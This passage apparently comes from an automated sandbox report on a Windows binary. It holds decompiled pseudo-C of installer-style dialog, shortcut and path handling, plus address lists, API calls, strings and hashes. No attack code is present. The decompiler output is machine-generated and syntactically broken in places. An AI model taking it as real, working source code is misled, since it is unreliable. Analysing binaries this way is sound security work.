									 *(__ebp - 0x4c84) = __ax;
									__ebp - 0x143c = __ebp - 0x5c84;
									__eax = E01109EB3( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L165;
									} else {
										__eax = 0;
										__eflags = 0;
										 *0x1137447 = 1;
										 *0x113846a = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L113;
									}
								}
								__edx = 0;
								__esi = 0;
								__eflags =  *(__ebp - 0x5c84) - __dx;
								if( *(__ebp - 0x5c84) == __dx) {
									goto L109;
								}
								__ecx = 0;
								__eax = __ebp - 0x5c84;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__esi =  &(__esi->i);
									__eax = __ebp - 0x5c84;
									__ecx = __esi + __esi;
									__eax = __ebp - 0x5c84 + __ecx;
									__eflags =  *__eax - __dx;
									if( *__eax != __dx) {
										continue;
									}
									goto L109;
								}
								__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
								__ebp - 0x143c = E010FFD96(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x5c84) = __ax;
								goto L109;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x5c84) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x5c84;
										_push(__ebp - 0x5c84);
										__eax = E01116F4C(__ebx, __edi);
										_pop(__ecx);
										 *0x114dc8c = __eax;
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0x114dc88 = E0110AAEA(__ecx, __edx, __eflags);
								}
								 *0x1145b73 = 1;
								goto L165;
							case 9:
								__eflags = __ebx - 5;
								if(__ebx != 5) {
									L92:
									 *0x114dc90 = 1;
									goto L165;
								}
								_push(1);
								L91:
								__eax = __ebp - 0x5c84;
								_push(__ebp - 0x5c84);
								_push( *(__ebp + 8));
								__eax = E0110CC9F(__ebp);
								goto L92;
							case 0xa:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L165;
								}
								__eax = 0;
								 *(__ebp - 0x2c3c) = __ax;
								__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
								__eax = E01116280( *(__ebp - 0x1bc8c) & 0x0000ffff);
								_push(0x800);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x114ab7a);
									__eax = __ebp - 0x2c3c;
									_push(__ebp - 0x2c3c);
									__eax = E010FFD96();
									 *(__ebp - 0x14) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2c3c;
									if(__eflags == 0) {
										_push(0x1149b7a);
										_push(__eax);
										__eax = E010FFD96();
										 *(__ebp - 0x14) = 7;
									} else {
										_push(0x114bb7a);
										_push(__eax);
										__eax = E010FFD96();
										 *(__ebp - 0x14) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0x9c8c) = __ax;
								 *(__ebp - 0x1c3c) = __ax;
								__ebp - 0x19c8c = __ebp - 0x6c84;
								__eax = E01115646(__ebp - 0x6c84, __ebp - 0x19c8c);
								_pop(__ecx);
								_pop(__ecx);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x6c84) - __bx;
								if( *(__ebp - 0x6c84) != __bx) {
									__ebp - 0x6c84 = E010FA0C0(__ebp - 0x6c84);
									__eflags = __al;
									if(__al != 0) {
										goto L150;
									}
									__ebx = __edi;
									__esi = __ebp - 0x6c84;
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) == __bx) {
										goto L150;
									}
									_push(0x20);
									_pop(__ecx);
									do {
										__eax = __esi->i & 0x0000ffff;
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L138:
											__edi = __eax;
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x6c84 = E010FA0C0(__ebp - 0x6c84);
											__eflags = __al;
											if(__al == 0) {
												__esi->i = __di;
												L146:
												_push(0x20);
												_pop(__ecx);
												__edi = 0;
												__eflags = 0;
												goto L147;
											}
											_push(0x2f);
											_pop(__eax);
											__ebx = __esi;
											__eflags = __di - __ax;
											if(__di != __ax) {
												_push(0x20);
												_pop(__eax);
												do {
													__esi =  &(__esi->i);
													__eflags = __esi->i - __ax;
												} while (__esi->i == __ax);
												_push(__esi);
												__eax = __ebp - 0x1c3c;
												L144:
												_push(__eax);
												__eax = E01115646();
												_pop(__ecx);
												_pop(__ecx);
												 *__ebx = __di;
												goto L146;
											}
											 *(__ebp - 0x1c3c) = __ax;
											__eax =  &(__esi->i);
											_push( &(__esi->i));
											__eax = __ebp - 0x1c3a;
											goto L144;
										}
										_push(0x2f);
										_pop(__edx);
										__eflags = __ax - __dx;
										if(__ax != __dx) {
											goto L147;
										}
										goto L138;
										L147:
										__esi =  &(__esi->i);
										__eflags = __esi->i - __di;
									} while (__esi->i != __di);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										__eflags = 0;
										 *__ebx = __ax;
									}
									goto L150;
								} else {
									__ebp - 0x19c8a = __ebp - 0x6c84;
									E01115646(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
									_push(__ebx);
									_push(__ebp - 0x6c82);
									__eax = E01111438(__ecx);
									__esp = __esp + 0x10;
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1c3c = E01115646(__ebp - 0x1c3c, __ebp - 0x1c3c);
										_pop(__ecx);
										_pop(__ecx);
									}
									L150:
									__eflags =  *((short*)(__ebp - 0x11c8c));
									__ebx = 0x800;
									if( *((short*)(__ebp - 0x11c8c)) != 0) {
										__ebp - 0x9c8c = __ebp - 0x11c8c;
										__eax = E010FB179(__ebp - 0x11c8c, __ebp - 0x9c8c, 0x800);
									}
									__ebp - 0xbc8c = __ebp - 0x6c84;
									__eax = E010FB179(__ebp - 0x6c84, __ebp - 0xbc8c, __ebx);
									__eflags =  *(__ebp - 0x2c3c);
									if(__eflags == 0) {
										__ebp - 0x2c3c = E0110AA7E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
									}
									__ebp - 0x2c3c = E010FB147(__eflags, __ebp - 0x2c3c, __ebx);
									__eflags =  *((short*)(__ebp - 0x17c8c));
									if(__eflags != 0) {
										__ebp - 0x17c8c = __ebp - 0x2c3c;
										E010FFD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
										__eax = E010FB147(__eflags, __ebp - 0x2c3c, __ebx);
									}
									__ebp - 0x2c3c = __ebp - 0xcc8c;
									__eax = E01115646(__ebp - 0xcc8c, __ebp - 0x2c3c);
									__eflags =  *(__ebp - 0x13c8c);
									__eax = __ebp - 0x13c8c;
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										__eax = __ebp - 0x19c8c;
									}
									__ebp - 0x2c3c = E010FFD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
									__eax = __ebp - 0x2c3c;
									__eflags = E010FB3D3(__ebp - 0x2c3c);
									if(__eflags == 0) {
										L160:
										__ebp - 0x2c3c = E010FFD6E(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
										goto L161;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L161:
											_push(1);
											__eax = __ebp - 0x2c3c;
											_push(__ebp - 0x2c3c);
											E010F9F8F(__ecx, __ebp) = __ebp - 0xbc8c;
											__ebp - 0xac8c = E01115646(__ebp - 0xac8c, __ebp - 0xbc8c);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0xac8c = E010FBC0F(__eflags, __ebp - 0xac8c);
											__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
											__eax = __ebp - 0x1c3c;
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
											__edx = __ebp - 0x9c8c;
											__esi = __ebp - 0xac8c;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
											 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
											asm("sbb eax, eax");
											__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
											 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
											__eax = __ebp - 0x15c8c;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
											E0110A564(__ebp - 0x15c8c) = __ebp - 0x2c3c;
											__ebp - 0xbc8c = E01109B4C(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
											__eflags =  *(__ebp - 0xcc8c);
											if( *(__ebp - 0xcc8c) != 0) {
												_push(__edi);
												__eax = __ebp - 0xcc8c;
												_push(__ebp - 0xcc8c);
												_push(5);
												_push(0x1000);
												__eax =  *0x1151078();
											}
											goto L165;
										}
										goto L160;
									}
								}
							case 0xb:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0x1139470 = 1;
								}
								goto L165;
							case 0xc:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eax = E01116280( *(__ebp - 0x5c84) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x1137444 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x1137445 = 1;
									} else {
										__eax = 0;
										 *0x1137444 = __al;
										 *0x1137445 = __al;
									}
								}
								goto L165;
							case 0xd:
								 *0x114dc91 = 1;
								__eax = __eax + 0x114dc91;
								_t110 = __esi + 0x39;
								 *_t110 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t110;
								__ebp = 0xffffa37c;
								if( *_t110 != 0) {
									_t112 = __ebp - 0x5c84; // 0xffff46f8
									__eax = _t112;
									_push(_t112);
									 *0x112d5fc = E011016F4();
								}
								goto L165;
						}
						L4:
						_t218 = E0110A647(_t218, _t293);
						_t293 = _t293 + 0x2000;
						_t289 = _t289 - 1;
						if(_t289 != 0) {
							goto L4;
						} else {
							_t294 = _t289;
							goto L6;
						}
						L165:
						_push(0x1000);
						_t203 = _t298 - 0xe; // 0xffffa36e
						_t204 = _t298 - 0xd; // 0xffffa36f
						_t205 = _t298 - 0x5c84; // 0xffff46f8
						_t206 = _t298 - 0xfc8c; // 0xfffea6f0
						_push( *((intOrPtr*)(_t298 + 0xc)));
						_t213 = E0110A986();
						_t274 =  *((intOrPtr*)(_t298 + 0x10));
						 *((intOrPtr*)(_t298 + 0xc)) = _t213;
					} while (_t213 != 0);
				}
			}

0x0110bd35
0x0110bd3a
0x0110bd3f
0x0110bd44
0x0110bd4d
0x0110c917
0x0110c91a
0x0110c924
0x0110c924
0x0110bd53
0x0110bd5b
0x0110bd5f
0x0110bd66
0x0110bd6d
0x0110bd6e
0x0110bd71
0x0110bd78
0x0110bd7d
0x0110bd84
0x0110bd89
0x0110bd8b
0x0110bd91
0x0110bd97
0x0110bd97
0x00000000
0x0110bdac
0x0110bdc3
0x0110bdc7
0x00000000
0x0110bdc9
0x00000000
0x0110bdc9
0x0110bdc7
0x0110bdd1
0x00000000
0x00000000
0x0110bdd7
0x00000000
0x0110bdde
0x0110bde1
0x0110bdf4
0x0110be1a
0x0110be2e
0x0110be31
0x0110be3c
0x0110bf80
0x0110bf80
0x0110bf88
0x0110bf8e
0x0110bf93
0x0110bf95
0x00000000
0x00000000
0x0110be4e
0x0110be54
0x0110be5a
0x0110bf00
0x0110bf07
0x0110bf0d
0x0110bf10
0x00000000
0x00000000
0x0110bf19
0x0110bf1f
0x0110bf21
0x00000000
0x0110bf23
0x0110bf23
0x0110bf25
0x0110bf26
0x0110bf2a
0x0110bf3e
0x0110bf43
0x0110bf4d
0x0110bf53
0x0110bf56
0x0110bf28
0x0110bf28
0x0110bf29
0x00000000
0x0110bf58
0x0110bf66
0x0110bf6c
0x0110bf6e
0x0110bf7a
0x0110bf7a
0x00000000
0x0110bf6e
0x0110bf56
0x0110bf21
0x0110be6f
0x0110be7c
0x0110be8d
0x0110be90
0x0110be93
0x0110bea6
0x0110bead
0x0110beb2
0x0110beb4
0x00000000
0x00000000
0x0110beba
0x0110bec1
0x0110bec6
0x0110becb
0x0110bed7
0x0110bedc
0x0110bedf
0x0110bee6
0x0110bee8
0x0110bee9
0x0110bef3
0x0110befa
0x00000000
0x0110befa
0x0110be9c
0x0110bea2
0x0110bea4
0x00000000
0x00000000
0x00000000
0x0110bea4
0x0110bf9b
0x0110bfa5
0x0110bfa5
0x00000000
0x00000000
0x0110bfaf
0x0110bfb1
0x00000000
0x0110bfb7
0x0110bfb7
0x0110bfbc
0x0110bfbe
0x0110bfc1
0x0110bfc3
0x0110bfd0
0x0110bfd5
0x0110bfd6
0x0110bfd6
0x0110bfd7
0x0110bfda
0x0110bfdc
0x0110bfe6
0x0110bfe9
0x0110bfef
0x0110bff1
0x0110bfde
0x0110bfde
0x0110bfde
0x0110bff6
0x0110bff8
0x0110c001
0x0110c001
0x0110c004
0x0110c009
0x0110c012
0x0110c013
0x0110c019
0x0110c01e
0x0110c021
0x0110c023
0x0110c03c
0x0110c03c
0x0110c03e
0x0110c045
0x0110c04a
0x00000000
0x0110c03e
0x0110c025
0x0110c02a
0x0110c02c
0x0110c02e
0x0110c02e
0x0110c030
0x0110c030
0x0110c035
0x0110c03a
0x0110c03b
0x00000000
0x0110c03b
0x00000000
0x0110c050
0x0110c052
0x0110c062
0x0110c062
0x00000000
0x00000000
0x0110c06d
0x0110c06f
0x00000000
0x00000000
0x0110c075
0x0110c07c
0x00000000
0x00000000
0x0110c082
0x0110c084
0x0110c08a
0x0110c08c
0x0110c093
0x0110c094
0x0110c09b
0x0110c09d
0x0110c09d
0x0110c0a4
0x0110c0a9
0x0110c0af
0x0110c0b1
0x00000000
0x0110c0b7
0x0110c0b7
0x0110c0ba
0x0110c0bc
0x0110c0bd
0x0110c0c0
0x0110c0e9
0x0110c0e9
0x0110c0ec
0x0110c1d1
0x0110c1da
0x0110c1df
0x0110c1df
0x0110c1e1
0x0110c1e1
0x0110c1e3
0x0110c1e5
0x0110c1ec
0x0110c1f1
0x0110c1f2
0x0110c1f3
0x0110c1f5
0x0110c1f7
0x0110c1fb
0x0110c1fd
0x0110c1fd
0x0110c1ff
0x0110c1ff
0x0110c1fb
0x0110c203
0x0110c209
0x0110c216
0x0110c21d
0x0110c22d
0x0110c237
0x0110c245
0x0110c24b
0x0110c253
0x0110c258
0x0110c259
0x0110c25a
0x0110c25c
0x0110c270
0x0110c270
0x00000000
0x0110c25c
0x0110c0f2
0x0110c0f5
0x0110c102
0x0110c102
0x0110c105
0x0110c107
0x0110c108
0x0110c10a
0x0110c10b
0x0110c110
0x0110c115
0x0110c11b
0x0110c11d
0x0110c11f
0x0110c122
0x0110c129
0x0110c12a
0x0110c130
0x0110c131
0x0110c134
0x0110c135
0x0110c136
0x0110c13b
0x0110c13e
0x0110c144
0x0110c14d
0x0110c150
0x0110c155
0x0110c157
0x0110c159
0x0110c15b
0x0110c15b
0x0110c15d
0x0110c15d
0x0110c15f
0x0110c15f
0x0110c167
0x0110c16e
0x0110c170
0x0110c177
0x0110c17d
0x0110c17f
0x0110c180
0x0110c188
0x0110c197
0x0110c197
0x0110c188
0x0110c1a2
0x0110c1a4
0x0110c1b3
0x0110c1b9
0x0110c1bf
0x0110c1ca
0x0110c1ca
0x00000000
0x0110c1bf
0x0110c0f7
0x0110c0fc
0x00000000
0x00000000
0x00000000
0x0110c0fc
0x0110c0c2
0x0110c0c6
0x00000000
0x00000000
0x0110c0c8
0x0110c0cb
0x0110c0cd
0x0110c0d0
0x00000000
0x00000000
0x0110c0df
0x00000000
0x0110c0df
0x00000000
0x0110c27b
0x0110c27c
0x0110c281
0x0110c283
0x0110c286
0x0110c286
0x00000000
0x0110c2bc
0x0110c2c3
0x0110c2c5
0x0110c2c5
0x0110c2c7
0x0110c2f6
0x0110c2f6
0x0110c2fc
0x00000000
0x0110c2fc
0x0110c2c9
0x0110c2c9
0x0110c2cc
0x0110c2e5
0x0110c2eb
0x0110c2eb
0x00000000
0x0110c2eb
0x0110c2ce
0x0110c2ce
0x0110c2d1
0x00000000
0x00000000
0x0110c2d3
0x0110c2d3
0x0110c2d6
0x00000000
0x00000000
0x0110c2dc
0x00000000
0x00000000
0x0110c349
0x0110c34c
0x00000000
0x00000000
0x0110c34e
0x0110c35a
0x0110c35f
0x0110c360
0x0110c361
0x0110c363
0x00000000
0x00000000
0x0110c365
0x00000000
0x00000000
0x0110c3ab
0x0110c3ae
0x0110c52f
0x0110c52f
0x0110c532
0x0110c538
0x0110c53f
0x0110c541
0x0110c541
0x0110c54b
0x0110c54b
0x00000000
0x0110c532
0x0110c3b4
0x0110c3ba
0x0110c3c1
0x0110c3cf
0x0110c3d4
0x0110c3d6
0x0110c3d8
0x0110c3dd
0x0110c3dd
0x0110c3f5
0x0110c402
0x0110c407
0x0110c409
0x00000000
0x00000000
0x0110c3db
0x0110c3db
0x0110c3dc
0x0110c3dc
0x0110c415
0x0110c41b
0x0110c423
0x00000000
0x00000000
0x0110c429
0x0110c430
0x00000000
0x00000000
0x0110c436
0x0110c438
0x0110c43f
0x0110c445
0x0110c447
0x0110c448
0x0110c44d
0x0110c44e
0x0110c44f
0x0110c451
0x0110c4a5
0x0110c4a5
0x0110c4ad
0x0110c4bb
0x0110c4cc
0x0110c4da
0x0110c4da
0x0110c4e6
0x0110c4eb
0x0110c4ed
0x0110c4fd
0x0110c507
0x0110c50c
0x0110c50f
0x00000000
0x0110c515
0x0110c51a
0x0110c51a
0x0110c51c
0x0110c523
0x0110c529
0x00000000
0x0110c529
0x0110c50f
0x0110c453
0x0110c455
0x0110c457
0x0110c45e
0x00000000
0x00000000
0x0110c460
0x0110c462
0x0110c468
0x0110c468
0x0110c46c
0x00000000
0x00000000
0x0110c46e
0x0110c46f
0x0110c475
0x0110c478
0x0110c47a
0x0110c47d
0x00000000
0x00000000
0x00000000
0x0110c47f
0x0110c48c
0x0110c496
0x0110c49b
0x0110c49b
0x0110c49d
0x00000000
0x00000000
0x0110c557
0x0110c55a
0x0110c55c
0x0110c563
0x0110c565
0x0110c56b
0x0110c56c
0x0110c571
0x0110c572
0x0110c572
0x0110c577
0x0110c57a
0x0110c580
0x0110c580
0x0110c585
0x00000000
0x00000000
0x0110c591
0x0110c594
0x0110c375
0x0110c375
0x00000000
0x0110c375
0x0110c59a
0x0110c366
0x0110c366
0x0110c36c
0x0110c36d
0x0110c370
0x00000000
0x00000000
0x0110c5a1
0x0110c5a4
0x00000000
0x00000000
0x0110c5aa
0x0110c5ac
0x0110c5b3
0x0110c5bb
0x0110c5c1
0x0110c5c6
0x0110c5c9
0x0110c5fe
0x0110c603
0x0110c609
0x0110c60a
0x0110c60f
0x0110c5cb
0x0110c5cb
0x0110c5ce
0x0110c5d4
0x0110c5ea
0x0110c5ef
0x0110c5f0
0x0110c5f5
0x0110c5d6
0x0110c5d6
0x0110c5db
0x0110c5dc
0x0110c5e1
0x0110c5e1
0x0110c5d4
0x0110c616
0x0110c618
0x0110c61f
0x0110c62d
0x0110c634
0x0110c639
0x0110c63a
0x0110c63b
0x0110c63d
0x0110c63e
0x0110c645
0x0110c695
0x0110c69a
0x0110c69c
0x00000000
0x00000000
0x0110c6a2
0x0110c6a4
0x0110c6aa
0x0110c6b1
0x00000000
0x00000000
0x0110c6b3
0x0110c6b5
0x0110c6b6
0x0110c6b6
0x0110c6b9
0x0110c6bc
0x0110c6c6
0x0110c6c6
0x0110c6c8
0x0110c6ca
0x0110c6d4
0x0110c6d9
0x0110c6db
0x0110c719
0x0110c71c
0x0110c71c
0x0110c71e
0x0110c71f
0x0110c71f
0x00000000
0x0110c71f
0x0110c6dd
0x0110c6df
0x0110c6e0
0x0110c6e2
0x0110c6e5
0x0110c6fa
0x0110c6fc
0x0110c6fd
0x0110c6fd
0x0110c700
0x0110c700
0x0110c705
0x0110c706
0x0110c70c
0x0110c70c
0x0110c70d
0x0110c712
0x0110c713
0x0110c714
0x00000000
0x0110c714
0x0110c6e7
0x0110c6ee
0x0110c6f1
0x0110c6f2
0x00000000
0x0110c6f2
0x0110c6be
0x0110c6c0
0x0110c6c1
0x0110c6c4
0x00000000
0x00000000
0x00000000
0x0110c721
0x0110c721
0x0110c724
0x0110c724
0x0110c729
0x0110c72b
0x0110c72d
0x0110c72d
0x0110c72f
0x0110c72f
0x00000000
0x0110c647
0x0110c64e
0x0110c65a
0x0110c660
0x0110c661
0x0110c662
0x0110c667
0x0110c66a
0x0110c66c
0x0110c672
0x0110c674
0x0110c682
0x0110c687
0x0110c688
0x0110c688
0x0110c732
0x0110c732
0x0110c73a
0x0110c73f
0x0110c749
0x0110c750
0x0110c750
0x0110c75d
0x0110c764
0x0110c769
0x0110c771
0x0110c77d
0x0110c77d
0x0110c78a
0x0110c78f
0x0110c797
0x0110c7a1
0x0110c7ae
0x0110c7b5
0x0110c7b5
0x0110c7c1
0x0110c7c8
0x0110c7cd
0x0110c7d5
0x0110c7db
0x0110c7dc
0x0110c7dd
0x0110c7df
0x0110c7df
0x0110c7f4
0x0110c7f9
0x0110c805
0x0110c807
0x0110c818
0x0110c825
0x00000000
0x0110c809
0x0110c814
0x0110c816
0x0110c82a
0x0110c82a
0x0110c82c
0x0110c832
0x0110c838
0x0110c846
0x0110c84b
0x0110c84c
0x0110c854
0x0110c859
0x0110c860
0x0110c866
0x0110c868
0x0110c86e
0x0110c874
0x0110c876
0x0110c87f
0x0110c882
0x0110c884
0x0110c88d
0x0110c890
0x0110c896
0x0110c899
0x0110c8a2
0x0110c8b1
0x0110c8b6
0x0110c8be
0x0110c8c0
0x0110c8c1
0x0110c8c7
0x0110c8c8
0x0110c8ca
0x0110c8cf
0x0110c8cf
0x00000000
0x0110c8be
0x00000000
0x0110c816
0x0110c807
0x00000000
0x0110c8d7
0x0110c8da
0x0110c8dc
0x0110c8dc
0x00000000
0x00000000
0x0110c308
0x0110c310
0x0110c316
0x0110c319
0x0110c33d
0x0110c31b
0x0110c31b
0x0110c31e
0x0110c331
0x0110c320
0x0110c320
0x0110c322
0x0110c327
0x0110c327
0x0110c31e
0x00000000
0x00000000
0x0110c381
0x0110c382
0x0110c387
0x0110c387
0x0110c387
0x0110c38a
0x0110c38f
0x0110c395
0x0110c395
0x0110c39b
0x0110c3a1
0x0110c3a1
0x00000000
0x00000000
0x0110bd98
0x0110bd9a
0x0110bd9f
0x0110bda5
0x0110bda8
0x00000000
0x0110bdaa
0x0110bdaa
0x00000000
0x0110bdaa
0x0110c8e3
0x0110c8e3
0x0110c8e8
0x0110c8ec
0x0110c8f0
0x0110c8f7
0x0110c8fe
0x0110c901
0x0110c906
0x0110c909
0x0110c90c
0x0110c916

APIs

__EH_prolog.LIBCMT ref: 0110BD3A

Part of subcall function 0110A986: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0110AA4E

SetWindowTextW.USER32(?,?), ref: 0110C062
_wcsrchr.LIBVCRUNTIME ref: 0110C1EC
GetDlgItem.USER32(?,00000066), ref: 0110C227
SetWindowTextW.USER32(00000000,?), ref: 0110C237
SendMessageW.USER32(00000000,00000143,00000000,01139472), ref: 0110C245
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0110C270

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0110C10B
ProgramFilesDir, xrefs: 0110C136
%s.%d.tmp, xrefs: 0110BF31
<br>, xrefs: 0110BFC5

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: 1b513a40d157dd101c1dd4a8b85676db233ede222d55a25f4807fe752f40d3cd
Instruction ID: 55cfe160d099ca299a84172e0716f0e4793b7d29f6a1384e7ab0f3b1375a9ead
Opcode Fuzzy Hash: 1b513a40d157dd101c1dd4a8b85676db233ede222d55a25f4807fe752f40d3cd
Instruction Fuzzy Hash: 82E18576D0021AEAEF2AEBA4DD44EDE777CAF05350F0041A6E555E3084EFB09B848F65

Uniqueness

Uniqueness Score: -1.00%

Function 010FD9D8, Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E010FD9D8(struct HWND__* __ecx, void* __eflags, intOrPtr _a8, char _a12) {
				struct HWND__* _v8;
				short _v2048;
				char _v2208;
				char _v2288;
				signed int _v2292;
				char _v2300;
				intOrPtr _v2304;
				struct tagRECT _v2320;
				intOrPtr _v2324;
				intOrPtr _v2336;
				struct tagRECT _v2352;
				struct tagRECT _v2368;
				signed int _v2376;
				char _v2377;
				intOrPtr _v2384;
				intOrPtr _v2393;
				void* __ebx;
				void* __esi;
				signed int _t96;
				struct HWND__* _t107;
				signed int _t120;
				signed int _t135;
				void* _t151;
				void* _t156;
				char _t157;
				void* _t158;
				signed int _t159;
				intOrPtr _t161;
				void* _t164;
				void* _t170;
				long _t171;
				signed int _t175;
				signed int _t179;
				signed int _t186;
				struct HWND__* _t187;
				struct HWND__* _t188;
				void* _t189;
				void* _t192;
				signed int _t193;
				long _t194;
				void* _t201;
				int* _t202;
				struct HWND__* _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t214;

				_t203 = __ecx;
				_v2368.bottom = __ecx;
				E010F3FD6( &_v2208, 0x50, L"$%s:", _a8);
				_t208 =  &_v2368 + 0x10;
				E011014F2( &_v2208,  &_v2288, 0x50);
				_t96 = E01113470( &_v2300);
				_t187 = _v8;
				_t156 = 0;
				_v2376 = _t96;
				_t210 =  *0x112d5f4 - _t156; // 0x63
				if(_t210 <= 0) {
					L8:
					_t157 = E010FD02E(_t156, _t203, _t189, _t214, _a8,  &(_v2368.right),  &(_v2368.top));
					_v2377 = _t157;
					GetWindowRect(_t187,  &_v2352);
					GetClientRect(_t187,  &(_v2320.top));
					_t170 = _v2352.right - _v2352.left + 1;
					_t179 = _v2320.bottom;
					_t192 = _v2352.bottom - _v2352.top + 1;
					_v2368.right = 0x64;
					_t205 = _t192 - _v2304;
					_v2368.bottom = _t170 - _t179;
					if(_t157 == 0) {
						L15:
						_t222 = _a12;
						if(_a12 == 0 && E010FD0B1(_t157, _v2368.bottom, _t222, _a8, L"CAPTION",  &_v2048, 0x400) != 0) {
							SetWindowTextW(_t187,  &_v2048);
						}
						L18:
						_t206 = _t205 - GetSystemMetrics(8);
						_t107 = GetWindow(_t187, 5);
						_t188 = _t107;
						_v2368.bottom = _t188;
						if(_t157 == 0) {
							L24:
							return _t107;
						}
						_t158 = 0;
						while(_t188 != 0) {
							__eflags = _t158 - 0x200;
							if(_t158 >= 0x200) {
								goto L24;
							}
							GetWindowRect(_t188,  &_v2320);
							_t171 = _v2320.top.left;
							_t193 = 0x64;
							asm("cdq");
							_t194 = _v2320.left;
							asm("cdq");
							_t120 = (_t171 - _t206 - _v2336) * _v2368.top;
							asm("cdq");
							_t175 = 0x64;
							asm("cdq");
							asm("cdq");
							 *0x1151150(_t188, 0, (_t194 - (_v2352.right - _t120 % _t175 >> 1) - _v2352.bottom) * _v2368.right / _t175, _t120 / _t175, (_v2320.right - _t194 + 1) * _v2368.right / _v2352.top, (_v2320.bottom - _t171 + 1) * _v2368.top / _t193, 0x204);
							_t107 = GetWindow(_t188, 2);
							_t188 = _t107;
							__eflags = _t188 - _v2384;
							if(_t188 == _v2384) {
								goto L24;
							}
							_t158 = _t158 + 1;
							__eflags = _t158;
						}
						goto L24;
					}
					if(_a12 != 0) {
						goto L18;
					}
					_t159 = 0x64;
					asm("cdq");
					_t135 = _v2292 * _v2368.top;
					_t161 = _t179 * _v2368.right / _t159 + _v2352.right;
					_v2324 = _t161;
					asm("cdq");
					_t186 = _t135 % _v2352.top;
					_v2352.left = _t135 / _v2352.top + _t205;
					asm("cdq");
					asm("cdq");
					_t201 = (_t192 - _v2352.left - _t186 >> 1) + _v2336;
					_t164 = (_t170 - _t161 - _t186 >> 1) + _v2352.bottom;
					if(_t164 < 0) {
						_t164 = 0;
					}
					if(_t201 < 0) {
						_t201 = 0;
					}
					 *0x1151150(_t187, 0, _t164, _t201, _v2324, _v2352.left,  !(GetWindowLongW(_t187, 0xfffffff0) >> 0xa) & 0x00000002 | 0x00000204);
					GetWindowRect(_t187,  &_v2368);
					_t157 = _v2393;
					goto L15;
				} else {
					_t202 = 0x112d154;
					do {
						if( *_t202 > 0) {
							_t9 =  &(_t202[1]); // 0x11236b8
							_t151 = E01115D20( &_v2288,  *_t9, _t96);
